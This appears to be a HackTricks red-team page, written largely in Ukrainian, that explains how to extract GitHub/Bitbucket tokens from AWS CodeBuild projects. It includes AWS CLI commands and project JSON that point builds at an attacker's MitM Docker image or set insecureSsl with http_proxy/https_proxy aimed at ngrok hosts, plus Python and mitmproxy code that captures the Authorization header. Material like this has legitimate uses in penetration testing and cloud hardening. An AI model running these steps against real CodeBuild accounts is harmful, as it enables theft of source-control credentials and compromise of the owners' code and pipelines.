AWS Codebuild - Token Leakage

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Відновлення токенів, налаштованих у Github/Bitbucket

Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати:

aws codebuild list-source-credentials

Via Docker Image

Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете екстрактувати цей доступ (GH token або OAuth token), змусивши Codebuild використовувати конкретний docker image для виконання збірки проекту.

Для цього ви можете створити новий проект Codebuild або змінити середовище існуючого, щоб налаштувати Docker image.

Docker image, який ви можете використовувати, це https://github.com/carlospolop/docker-mitm. Це дуже базовий Docker image, який налаштує змінні середовища https_proxy, http_proxy та SSL_CERT_FILE. Це дозволить вам перехопити більшість трафіку хоста, вказаного в https_proxy та http_proxy, і довіряти SSL CERT, вказаному в SSL_CERT_FILE.

  1. Створіть та завантажте свій власний Docker MitM image

  • Слідуйте інструкціям репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і збудуйте docker image.

  • НЕ НАЛАШТОВУЙТЕ http_proxy, щоб не перехоплювати запити до кінцевої точки метаданих.

  • Ви можете використовувати ngrok як ngrok tcp 4444, щоб налаштувати проксі на вашому хості.

  • Після того, як ви збудували Docker image, завантажте його до публічного репозиторію (Dockerhub, ECR...)

  1. Налаштуйте середовище

  • Створіть новий проект Codebuild або змініть середовище існуючого.

  • Налаштуйте проект на використання раніше згенерованого Docker image.

  1. Налаштуйте MitM проксі на вашому хості

  • Як вказано в Github репозиторії, ви можете використовувати щось на зразок:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Версія mitmproxy, що використовувалася, була 9.0.1, повідомлялося, що з версією 10 це може не спрацювати.

  1. Запустіть збірку та захопіть облікові дані

  • Ви можете побачити токен у заголовку Authorization:

Це також можна зробити з aws cli з чимось на кшталт

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Через insecureSSL

Codebuild проекти мають налаштування під назвою insecureSsl, яке приховане в вебі, і ви можете змінити його лише через API. Увімкнення цього дозволяє Codebuild підключатися до репозиторію без перевірки сертифіката, запропонованого платформою.

  • Спочатку вам потрібно перерахувати поточну конфігурацію за допомогою чогось на зразок:

aws codebuild batch-get-projects --name <proj-name>
  • Потім, зібравши інформацію, ви можете оновити налаштування проекту insecureSsl на True. Наступний приклад показує, як я оновлюю проект, зверніть увагу на insecureSsl=True в кінці (це єдине, що потрібно змінити в зібраній конфігурації).

  • Крім того, додайте також змінні середовища http_proxy та https_proxy, які вказують на ваш tcp ngrok, як:

aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "https://2.tcp.eu.ngrok.io:15027"
}
]
}'
  • Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними проксі (http_proxy та https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Нарешті, натисніть на Build the project, облікові дані будуть надіслані у відкритому тексті (base64) на порт mitm:

Via HTTP protocol

Цю вразливість виправили AWS на деякому етапі тижня 20 лютого 2023 року (я думаю, в п'ятницю). Тож зловмисник більше не може її зловживати :)

Зловмисник з підвищеними правами в CodeBuild може витікати токен Github/Bitbucket, налаштований або, якщо права були налаштовані через OAuth, тимчасовий токен OAuth, використаний для доступу до коду.

  • Зловмисник міг би додати змінні середовища http_proxy та https_proxy до проекту CodeBuild, вказуючи на свою машину (наприклад, http://5.tcp.eu.ngrok.io:14972).

  • Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: http://github.com/carlospolop-forks/TestActions

  • Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними проксі (http_proxy та https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Нарешті, натисніть на Build the project, облікові дані будуть надіслані у відкритому вигляді (base64) на порт mitm:

Тепер зловмисник зможе використовувати токен зі своєї машини, перерахувати всі привілеї, які він має, і (зловживати) легше, ніж використовуючи сервіс CodeBuild безпосередньо.

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated